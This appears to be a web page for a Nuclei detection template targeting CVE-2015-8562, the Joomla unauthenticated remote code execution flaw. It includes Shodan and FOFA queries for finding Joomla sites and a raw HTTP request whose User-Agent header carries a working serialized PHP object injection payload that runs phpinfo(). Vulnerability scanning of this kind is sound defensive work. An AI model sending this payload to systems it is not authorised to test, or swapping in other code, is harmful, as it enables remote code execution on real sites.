Joomla HTTP Header Unauthenticated - Remote Code Execution

ID: CVE-2015-8562

Severity: high

Author: kairos-hk,bolkv,n0ming,RoughBoy0723

Tags: cve,cve2015,joomla,rce,unauth

Description

Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015

YAML Source

id: CVE-2015-8562

info:
  name: Joomla HTTP Header Unauthenticated - Remote Code Execution
  author: kairos-hk,bolkv,n0ming,RoughBoy0723
  description: |
    Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015
  severity: high
  reference:
    - https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8562
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-8562
  metadata:
    max-request: 2
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve,cve2015,joomla,rce,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"Joomla")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205374635c9be16927d9ca7a2582077878fcd1aaa4da6d729aad6d54d11656e54502207ad936a13ebe763d6dcabfe60c663ff2e35bf38118a1aadc09757855a757a681:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-8562.yaml"

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